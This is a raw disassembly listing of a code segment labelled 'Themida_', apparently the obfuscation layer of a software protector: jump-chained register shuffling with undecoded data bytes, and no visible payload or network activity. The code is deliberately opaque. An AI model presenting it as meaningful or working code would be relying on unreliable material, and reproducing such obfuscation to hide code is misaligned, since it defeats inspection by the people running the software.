		add	eax, 6CF97A0Dh
		jmp	loc_50E6E1
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4C181h, 0C870000h, 0C7815C24h, 2, 8B243C87h
		dd 0F7662424h, 0EA768E1h, 14890000h, 4EC8324h, 81E38953h
		dd 4C3h, 5693E900h, 0C89FFFFh, 0BEB05024h, 14E9D0F6h
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	193Fh
		mov	[esp], eax
		jmp	loc_514D4B
; ---------------------------------------------------------------------------


loc_51E369:				; CODE XREF: Themida_:0051EC19j
		add	esp, 4
		push	esi
		jmp	loc_510BD5
; ---------------------------------------------------------------------------


loc_51E372:				; CODE XREF: Themida_:0050EFD9j
		mov	[esp], ebx
		jmp	loc_50F455
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 49BF7B99h, 0FFCCB2E9h, 0C78158FFh, 91D53A0h,	0EF81DF29h
		dd 91D53A0h, 3B79685Bh,	0BBE90000h, 0AD000025h,	192EE956h
		dd 0C681FFFFh, 4, 4C681h, 34870000h, 0D1E95C24h, 89FFFEEFh
		dd 4C181E1h, 83000000h,	1EE904C1h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E3CB:				; CODE XREF: Themida_:0050E502j
		sub	cl, dl
		pop	edx
		sub	dl, cl
		jmp	loc_520A00
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0A6h
		dd 89FFFED9h, 0C5E92434h, 87FFFF5Ah, 52D7F7FAh,	0FEE2BEE9h
		dd 0E38953FFh, 4C381h, 8AE90000h, 80FFFFAFh, 0F58092CDh
		dd 6E902h, 0CCFEFFFFh, 18E95251h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E40F:				; CODE XREF: Themida_:0051F41Fj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	7D00h
		mov	[esp], ebp
		push	40FFh
		push	7094h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_51D699
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 0F6h
		dd 80CEFEDEh, 0EE80B7EEh, 178E9A7h, 8859FFFFh, 24148BF1h
		dd 2B4DE9h, 4BD00h, 0E9290000h,	240C875Dh, 2434895Ch, 0DBF6850h
		dd 1CE92AF6h, 34FFFF68h, 97A4E958h, 6AE9FFFFh, 0FFFFFED1h
		dd 81582434h, 4C4h, 3E3C100h, 0F732EB81h, 0DE09FC9Eh, 5DE9555Bh
		dd 51FFFF9Fh, 0C181E189h, 4, 8704C183h,	835C240Ch, 84E904C4h
		dd 33FFFFDBh, 0C3E92414h, 56FFFFDEh, 76C46BEh, 0A8FEE932h
		dd 1EE9FFFFh
		db 0D1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51E4C7:				; CODE XREF: Themida_:0050C999j
		sub	ebx, ecx
		jmp	loc_51B161
; ---------------------------------------------------------------------------


loc_51E4CE:				; CODE XREF: Themida_:0050C48Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_51FB63
; ---------------------------------------------------------------------------


loc_51E4D7:				; CODE XREF: Themida_:0051ECFDj
		push	46AD59AAh
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0C067BEAh
		sub	ebx, 79C609F9h
		or	ebx, 7F551993h
		or	ebx, 13E62AE5h
		add	ebx, 0B11F4DD6h
		jmp	loc_5178E4
; ---------------------------------------------------------------------------


loc_51E512:				; CODE XREF: Themida_:00511340j
		mov	[esp], edi
		mov	edi, 548650Ah
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shl	eax, 4
		sub	eax, 0C423859Ch
		add	ecx, eax
		pop	eax
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ebx
		jmp	loc_50FC55
; ---------------------------------------------------------------------------


loc_51E541:				; CODE XREF: Themida_:0051FAFBj
		mov	eax, [esp]
		jmp	loc_5137D5
; ---------------------------------------------------------------------------


loc_51E549:				; CODE XREF: Themida_:00514B42j
		push	esi
		push	edi
		mov	edi, 345F55EBh
		mov	esi, 0D92117D0h
		add	esi, edi
		pop	edi
		add	[esp+8], esi
		pop	esi
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 0D806DBBh
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 630F517Eh
		and	esi, 1FF03C2Eh
		sub	esi, 300102Ah
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5107EE
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0CBh
		dd 5CA832B6h, 0FF8426E9h, 5A5052FFh, 0FFC61FE9h, 4EC81FFh
		dd 89000000h, 8B542404h, 89532404h, 0BB80E9E3h,	3431FFFFh
		dd 24343324h, 0FFAAE6E9h, 51C681FFh, 110396Ch, 51EE81EEh
		dd 5D10396Ch, 0C107E6C1h, 0EE8108EEh, 0D19AA0FEh, 0FF9659E9h
		dd 2BDFFh, 0EF010000h, 243C875Dh, 0E924248Bh, 0FFFF20EEh
		dd 7EBC15Fh, 2414F753h,	2EBC15Bh, 30AFBF57h, 0EFC10AB0h
		dd 8CF8106h, 4F008411h,	0F781D7F7h, 3F4D151Ah, 492ABD55h
		dd 0EB011E96h, 81FB015Dh, 96492AEBh, 0DF015F1Eh, 81241C8Bh
		dd 4C4h, 243C3300h, 33243C31h, 665C243Ch, 9C240429h, 0FECF90E9h
		dd 2EDC0FFh, 0FF301FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E65D:				; CODE XREF: Themida_:00516472j
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	1A82h
		jmp	loc_50DFE2
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD7h, 0FF500CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E681:				; CODE XREF: Themida_:0051C3ACj
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xor	eax, [esp]
		jmp	loc_51A5BF
; ---------------------------------------------------------------------------
		dd 2474FF55h, 242C8B04h, 4C481h, 48F0000h, 0C2835C24h
		dd 79F2E902h, 0EB81FFFFh, 4, 8B241C87h,	24892424h, 4BF5724h
		dd 1000000h, 5F04247Ch,	4C3815Bh, 81000000h, 4ECh, 243C8900h
		dd 2BFh, 0E9FB0100h, 0FFFF77FEh
; ---------------------------------------------------------------------------


loc_51E6F8:				; CODE XREF: Themida_:00510D45j
		add	ebp, 4
		jmp	loc_51E7A1
; ---------------------------------------------------------------------------


loc_51E703:				; CODE XREF: Themida_:0051B4FEj
		mov	ecx, 72353FDBh
		jmp	loc_50E338
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 54h
		dd 0FFDA9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E715:				; CODE XREF: Themida_:0050DCF5j
		push	ebx
		jmp	loc_515E9A
; ---------------------------------------------------------------------------


loc_51E71B:				; CODE XREF: Themida_:00510B5Aj
		push	660Dh
		mov	[esp], esi
		jmp	loc_5115B7
; ---------------------------------------------------------------------------
		dd 0E96ECD80h, 0FFFFFF25h, 42474FFh, 6273E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E73A:				; CODE XREF: Themida_:0050EBFCj
		mov	[esp], esi
		push	22E31B16h
		push	dword ptr [esp]
		pop	esi
		push	eax
		push	esp
		pop	eax
		jmp	loc_51B4F8
; ---------------------------------------------------------------------------


loc_51E74E:				; CODE XREF: Themida_:0051A99Ej
		push	ebp
		push	ebx
		push	esi
		mov	esi, 122E0E37h
		mov	ebx, esi
		pop	esi
		jmp	loc_51BD0E
; ---------------------------------------------------------------------------
		dw 7BB9h
		dd 813DFC01h, 3D6024C1h, 59CE89C5h, 0E2EBE952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51E772:				; CODE XREF: Themida_:0050EF40j
		push	eax
		push	ebx
		jmp	loc_516A20
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 30E9DE89h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E783:				; CODE XREF: Themida_:0051EE4Cj
		pop	esp
		xchg	eax, edi
		jmp	loc_514D8A
; ---------------------------------------------------------------------------


loc_51E78A:				; CODE XREF: Themida_:00515EF1j
		add	esi, edi
		pop	edi
		jmp	loc_51489A
; ---------------------------------------------------------------------------
		dw 3BB4h
		dd 1EE9E320h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E79B:				; CODE XREF: Themida_:005110BDj
		pop	edi
		jmp	loc_5160A9
; ---------------------------------------------------------------------------


loc_51E7A1:				; CODE XREF: Themida_:0051E6FEj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5186E6
; ---------------------------------------------------------------------------
		dw 81ADh
		dd 4ECh, 0CEE9E900h, 0E5C0FFFFh, 4D14E903h, 3487FFFFh
		dd 0E668E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51E7CA:				; CODE XREF: Themida_:005180F7j
		sub	esi, 0CA9339Dh
		jmp	loc_51816A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 77h
		dd 8121AE6Fh, 1161B0C6h, 242C8B2Bh, 4C481h, 3AE90000h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E7EF:				; CODE XREF: Themida_:00518207j
		or	esi, edx
		jmp	loc_5106E6
; ---------------------------------------------------------------------------
		dw 8953h
		dd 641168E3h, 3C890000h, 0F1BAE924h, 0C89FFFEh,	0CDD7E924h
		dd 0D701FFFEh, 0E9F7015Ah, 0FFFF8465h, 4240481h, 5F000000h
		dd 0FF56A9E9h, 38E768FFh, 14890000h, 2483E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51E832:				; CODE XREF: Themida_:00516F0Ej
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_520C16
; ---------------------------------------------------------------------------
		dw 0CB01h
		dd 60C38159h, 81048E16h, 7477E1EBh, 0EEB7E91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E85A:				; CODE XREF: Themida_:0050B682j
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 0CDh
		dd 0FFCDB4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51E871:				; CODE XREF: Themida_:00512940j
		pop	ecx
		jmp	loc_5104FF
; ---------------------------------------------------------------------------


loc_51E877:				; CODE XREF: Themida_:00519EA2j
		push	edx
		mov	dl, 42h
		push	ecx
		jmp	loc_5203F9
; ---------------------------------------------------------------------------
		dd 5724048Bh, 4EC81h, 24890000h, 5DBCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51E892:				; CODE XREF: Themida_:00519D61j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	ebp
		mov	ebp, 641F435Ch
		jmp	loc_51FFB8
; ---------------------------------------------------------------------------
		db 0B3h, 0CFh, 80h
		dd 0EC8366EBh, 4896602h, 6BB024h, 535866C3h, 0C780C7B7h
		dd 0B0506602h, 0E9C730B9h, 0FFFFDF3Ch
; ---------------------------------------------------------------------------


loc_51E8C8:				; CODE XREF: Themida_:00517E1Dj
		mov	ebx, esp
		add	ebx, 4
		push	eax
		push	4
		jmp	loc_516EFA
; ---------------------------------------------------------------------------


loc_51E8DB:				; CODE XREF: Themida_:0051A317j
		mov	dl, bh
		mov	ah, dl
		pop	edx
		pop	bx
		shr	ah, 6
		xor	ah, 1Bh
		jmp	loc_512323
; ---------------------------------------------------------------------------


loc_51E8ED:				; CODE XREF: Themida_:00512340j
		push	44266576h
		pop	edi
		shr	edi, 8
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		xor	edi, 1745A35h
		jmp	loc_51CC42
; ---------------------------------------------------------------------------


loc_51E907:				; CODE XREF: Themida_:0050BD7Cj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		jmp	loc_5205CA
; ---------------------------------------------------------------------------
		db 29h
		dd 41E959CFh
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51E927:				; CODE XREF: Themida_:00520907j
		mov	edi, 5EC80B40h
		add	edi, 296C57A3h
		jmp	loc_516BEA
; ---------------------------------------------------------------------------
		db 29h
		dd 29C381EBh, 0E9172330h, 0FFFFC6B8h, 7448F281h, 0C3811FD6h
		dd 3E35A11h, 0EB81D329h, 3E35A11h, 0BD55595Ah, 4, 4A3EC381h
		dd 0EB017B4Eh, 4A3EEB81h, 2C8B7B4Eh, 61AF6824h,	18E90000h
		dd 5FFFFE0h, 38B67E55h,	0E11BA52h, 59E976A5h, 68FFFFB8h
		dd 6D72h, 0BB241C89h, 4, 1E16EE81h, 0DE0103DDh,	1E16C681h
		dd 0C5E903DDh, 56FFFF9Fh, 0B621D4BEh, 0B8C6811Ch, 510D015Dh
		dd 0FFE456E9h, 0E9E689FFh, 0FFFFA0CAh, 62E9E889h, 55FFFFC0h
		dd 0E4367BDh, 5DEB0152h, 0C6E9CB01h
		db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51E9DB:				; CODE XREF: Themida_:0050EE63j
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	edi, 7B85309Bh
		add	edi, 0AD33044h
		sub	edi, eax
		sub	edi, 0AD33044h
		sub	edi, 7B85309Bh
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		pop	ecx
		push	ecx
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5151C8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8904EC83h, 0C4BF243Ch, 0E969A520h, 0FFFF8BF0h, 0E80088B5h
		dd 240C8B66h, 2C481h, 0F8000000h, 80EAB151h, 0E1C0A4E9h
		dd 34C18004h, 80CBB652h, 53665FEEh, 0DE00C3B3h,	0CE805B66h
		dd 80CEFE77h, 7CE985C6h, 81000014h, 19FA89EBh, 0ABC6812Bh
		dd 0E945551Eh, 0FFFFBCE3h
; ---------------------------------------------------------------------------


loc_51EA74:				; CODE XREF: Themida_:00510F00j
		pop	edx
		push	4374h
		jmp	loc_512131
; ---------------------------------------------------------------------------


loc_51EA7F:				; CODE XREF: Themida_:0051689Aj
		xor	ebx, 89D017F0h
		jmp	loc_50C963
; ---------------------------------------------------------------------------


loc_51EA8A:				; CODE XREF: Themida_:0051474Ej
		mov	esp, [esp]
		jmp	loc_50F295
; ---------------------------------------------------------------------------


loc_51EA92:				; CODE XREF: Themida_:0051580Fj
		push	edi
		jmp	loc_51780B
; ---------------------------------------------------------------------------
		dd 6F6FB850h, 0D8F751B8h, 2E0C140h, 0E5653A25h,	2BA53547h
		dd 0C5010460h, 9E0E9h, 4C28100h, 0E9000000h, 0FFFF38F4h
		dd 0D70CE953h, 5152FFFEh, 713F00B9h, 0DDB2BA77h, 0CA01B96Bh
		dd 0F1BDE959h, 0EE83FFFFh, 24348704h, 8924248Bh, 0BA522424h
		dd 4, 4245401h,	79685E5Ah, 89000052h, 1CE9242Ch, 0BFFFFEE4h
		dd 4EAF5ED5h, 0E907E7C1h, 0FFFF6949h
; ---------------------------------------------------------------------------


loc_51EB0C:				; CODE XREF: Themida_:00510E10j
		sub	ecx, 73767AB4h
		add	ecx, edx
		add	ecx, 73767AB4h
		jmp	loc_513265
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4245401h, 6A58E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EB2A:				; CODE XREF: Themida_:0051F76Bj
		mov	[esp], edi
		jmp	loc_51CBE1
; ---------------------------------------------------------------------------


loc_51EB32:				; CODE XREF: Themida_:0050C32Dj
		add	esp, 4


loc_51EB35:				; CODE XREF: Themida_:00514A89j
					; Themida_:loc_516AC5j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_511A6C
; ---------------------------------------------------------------------------
		dd 4240481h, 5A000000h,	68D2B951h, 4AE95F94h
		db 1Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EB57:				; CODE XREF: Themida_:0051FCE2j
		not	edx
		sub	edx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 757434Dh
		and	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 20205247h
		push	edi
		push	856E8AFh
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, edi
		jmp	loc_51A9D1
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FECA58E9h, 48B66FFh, 4C296824h, 62E90000h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EB9B:				; CODE XREF: Themida_:0052022Cj
		mov	esi, 27615212h
		or	ebp, esi
		pop	esi
		xor	ebp, 0F7F173FDh
		mov	eax, ebp
		pop	ebp
		add	ebp, 744D4F8Fh
		sub	ebp, eax
		jmp	loc_519489
; ---------------------------------------------------------------------------
		db 0B8h, 1, 0
		dd 0C7010000h, 7AF78158h, 0E968F2A3h, 0FFFF8BB8h, 0E9243C87h
		dd 0FFFECDA0h, 7BCE685Ch, 3C890000h, 4BF24h, 0C2810000h
		dd 73575D08h, 65FAC281h, 0FA014CCEh, 65FAEA81h,	0EA814CCEh
		dd 73575D08h, 81BE565Fh, 0C10FC75Eh, 0B3E908E6h, 5B00001Ah
		dd 8AE9C330h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EC13:				; CODE XREF: Themida_:0050E9EDj
		add	esp, 4
		jmp	loc_51E369
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C9BFE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51EC26:				; CODE XREF: Themida_:0050E5F4j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_50EF45
; ---------------------------------------------------------------------------
		dd 4C481h, 0BE560000h, 62027CF1h, 0FEFC15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51EC51:				; CODE XREF: Themida_:00514A46j
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_50CA17
; ---------------------------------------------------------------------------


loc_51EC67:				; CODE XREF: Themida_:00517070j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 13DEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51EC7E:				; CODE XREF: Themida_:0051AB16j
		shr	ebp, 5
		sub	ebp, 763B1Ch
		sub	ebp, 32698C18h
		sub	ebx, 74DC33D6h
		add	ebx, ebp
		jmp	loc_518170
; ---------------------------------------------------------------------------


loc_51EC9A:				; CODE XREF: Themida_:0051D8F3j
		sub	dl, 27h
		sub	bl, 0A9h
		add	bl, dl
		add	bl, 0A9h
		pop	edx
		push	eax
		mov	al, bl
		not	al
		mov	bl, al
		pop	eax
		shr	bl, 7
		jmp	loc_5119BB
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 0C095B652h, 0CEFE04EEh, 0C680D6F6h, 0D8C680F3h, 0FECED9E9h
		dd 242489FFh, 0FEFD1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51ECD5:				; CODE XREF: Themida_:0051CD0Cj
		pop	dword ptr [edi+24h]


loc_51ECD8:				; CODE XREF: Themida_:0050D7CFj
		push	4018h
		mov	[esp], edi
		push	edx
		jmp	loc_50EBCD
; ---------------------------------------------------------------------------


loc_51ECE6:				; CODE XREF: Themida_:00517A5Cj
		pop	esp
		push	ebp
		jmp	loc_519B43
; ---------------------------------------------------------------------------
		db 80h,	0C5h, 0C9h
		dd 0D5F6C5FEh, 0E9EAED80h, 0FFFF2B5Ch
; ---------------------------------------------------------------------------


loc_51ECFC:				; CODE XREF: Themida_:00514DD0j
		push	eax
		jmp	loc_51E4D7
; ---------------------------------------------------------------------------


loc_51ED02:				; CODE XREF: Themida_:0051A865j
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 2
		push	685Eh
		mov	[esp], ebx
		jmp	loc_50E6F3
; ---------------------------------------------------------------------------


loc_51ED1F:				; CODE XREF: Themida_:0051B701j
		not	esi
		shl	esi, 5
		shl	esi, 5
		not	esi
		add	esi, 80B57405h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_512880
; ---------------------------------------------------------------------------
		db 59h
		dd 5706E3C1h, 0ED00CCBFh, 0E9FB3133h, 0FFFFF8ACh
; ---------------------------------------------------------------------------


loc_51ED54:				; CODE XREF: Themida_:0050E8EBj
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5199A9
; ---------------------------------------------------------------------------


loc_51ED6E:				; CODE XREF: Themida_:00518C35j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_50D560
; ---------------------------------------------------------------------------
		db 21h
		dd 0F6F9E9C3h, 0C483FFFFh, 14A7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51ED8A:				; CODE XREF: Themida_:00514922j
		mov	[esp], edx
		push	edi
		mov	edi, 24h
		mov	edx, edi
		jmp	loc_516396
; ---------------------------------------------------------------------------
		dw 8105h
		dd 15BD91Ah, 1A812DE8h,	55D5BD9h, 4, 0FF2D24E9h, 241C89FFh
		dd 0FFD6CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51EDB9:				; CODE XREF: Themida_:0051AEDAj
		add	edx, 74E701Ah
		add	edx, 1DC652E7h
		add	edx, ebp
		sub	edx, 1DC652E7h
		jmp	loc_519569
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C481243Ch, 4, 4BD55h, 0EF010000h, 0B951555Dh, 7C45D19h
		dd 0FF320FE9h, 82E958FFh, 89FFFED3h, 74FF240Ch,	34FF0424h
		dd 240C8B24h, 5504C483h, 0FF7DD7E9h, 2DE829FFh,	4C3B015Ah
		dd 5D2434FFh, 52E08950h, 4BAh, 0FAE95200h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EE27:				; CODE XREF: Themida_:0050BE90j
		pop	ebp
		add	ebp, 4
		push	edi
		push	79BA4759h
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_51E783
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0DFh
		dd 0FF30D2E9h, 48B66FFh, 4EC8324h, 0E9240C89h, 0FFFF6731h
; ---------------------------------------------------------------------------


loc_51EE68:				; CODE XREF: Themida_:00518953j
		sub	esi, ebx
		add	esi, 2D166925h
		add	esi, 6AE50B05h
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		push	4
		pop	ecx
		jmp	loc_50EF3D
; ---------------------------------------------------------------------------
		dw 4481h
		dd 5E9A0824h, 5C016DABh, 6C810824h, 5E9A0824h, 2CE96DABh
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EEA7:				; CODE XREF: Themida_:00520B8Dj
		pop	esp
		or	eax, eax
		jz	loc_50EFCB
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50C256
; ---------------------------------------------------------------------------
		dd 76BCEA81h, 40E92FB8h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51EECB:				; CODE XREF: Themida_:0051A2FFj
		add	edx, ecx
		jmp	loc_50E0AD
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 578B2D03h, 0BA52717Ch, 68905F94h, 190EE9h
		db 0
; ---------------------------------------------------------------------------


loc_51EEE5:				; CODE XREF: Themida_:0051307Bj
		pop	esi
		xor	ebx, 0B908557h
		push	edx
		jmp	loc_520D93
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4E0D7BDFh, 3701ED81h, 0E5C157EBh, 7084E906h,	3C89FFFFh
		dd 26D6824h, 24890000h,	24048124h, 4, 0FF10A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51EF1D:				; CODE XREF: Themida_:0050C52Ej
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_516541
; ---------------------------------------------------------------------------


loc_51EF62:				; CODE XREF: Themida_:0051D1B6j
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_518866
; ---------------------------------------------------------------------------


loc_51EF6C:				; CODE XREF: Themida_:00515FEEj
		mov	[esp], ebx
		mov	ebx, 258B74D3h
		sub	[esp+8], ebx
		push	dword ptr [esp]
		jmp	loc_520E8A
; ---------------------------------------------------------------------------
		dd 2404215Ch, 0C65BE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_51EF8A:				; CODE XREF: Themida_:0050D002j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 52h
		dd 0EE80EDB6h, 0C0DEF66Bh, 0EE8005EEh, 6B3AE954h, 0E95BFFFFh
		dd 0FFFF94DDh
; ---------------------------------------------------------------------------


loc_51EFA8:				; CODE XREF: Themida_:005206E0j
		mov	edx, 4DB175C6h
		sub	[esp+8], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_51FBEB
; ---------------------------------------------------------------------------
		db 89h
		dd 0D449E9E1h, 535EFFFEh, 1B4DE1BBh, 0D1B4E92Bh, 0EC81FFFFh
		dd 4, 0BB241C89h, 47DF7BEFh, 685BD931h,	1F75h, 57243489h
		dd 0CD462D68h, 140DE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51EFF6:				; CODE XREF: Themida_:0051D7BEj
		not	eax
		not	eax
		or	eax, 7CAD6083h
		inc	eax
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		push	ebx
		jmp	loc_51DD3C
; ---------------------------------------------------------------------------
		dw 4F09h
		dd 2434FF1Ch, 95BCE959h, 0F581FFFFh, 3B2A2C94h,	0CFBF581h
		dd 0BCE96C65h, 0B7FFFFA7h, 4B70E962h, 0E9C1FFFFh, 7F8EE906h
		dd 0D801FFFFh, 0E9525E5Bh, 0FFFF5FBDh, 24048B66h, 470768h
		dd 24048900h, 8904EC83h, 0A8E92424h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F057:				; CODE XREF: Themida_:00519909j
		pop	ebp
		add	esp, 4
		push	587Bh
		mov	[esp], edi
		jmp	loc_51D0B9
; ---------------------------------------------------------------------------
		dd 8F3BE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51F06E:				; CODE XREF: Themida_:0050CED8j
		mov	[esp], ebx
		mov	ebx, 0ECA71E4h
		and	ebx, 5A73089Dh
		shr	ebx, 8
		add	ebx, 0FFF5BE04h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_517E00
; ---------------------------------------------------------------------------


loc_51F09D:				; CODE XREF: Themida_:0051FC23j
		shl	esi, 8
		jmp	loc_519265
; ---------------------------------------------------------------------------


loc_51F0A5:				; CODE XREF: Themida_:0051550Dj
		add	eax, 6FA45D9Ah
		sub	eax, ebx
		sub	eax, 6FA45D9Ah
		pop	ebx
		add	eax, ebx
		add	eax, 48B9724Ah
		add	eax, 5C4017D3h
		pop	ebx
		push	edx
		mov	edx, 6AE4712Fh
		xor	eax, edx
		jmp	loc_511ABF
; ---------------------------------------------------------------------------
		dd 7D04EB81h, 0C38151EDh, 7B9E5D46h, 393168h, 0E14AE900h
		dd 5150FFFFh, 4EC81h, 4890000h,	536EB424h, 0FEFC5DE9h
		dd 18C781FFh, 0E9294339h, 0F25h, 2444295Dh, 24448108h
		dd 180A8B08h, 148B587Bh, 4C48124h, 5D000000h, 4B23B850h
		dd 27350B2Eh, 0E90B2E4Bh, 0FFFECAB6h, 5C241487h, 0FF50F9E9h
		dd 0D9315DFFh, 0C4F1815Bh, 0E904B7E8h, 0FFFFAC4Ah, 4C48159h
		dd 81000000h, 4ECh, 240C8900h, 2C88FD88h, 0D4B0E987h, 0E951FFFEh
		dd 0FFFF155Ah, 0E924248Bh, 0FFFEE978h
; ---------------------------------------------------------------------------


loc_51F168:				; CODE XREF: Themida_:00519372j
		pop	esp
		add	esp, 4
		jmp	loc_50EF6D
; ---------------------------------------------------------------------------


loc_51F171:				; CODE XREF: Themida_:0051FE78j
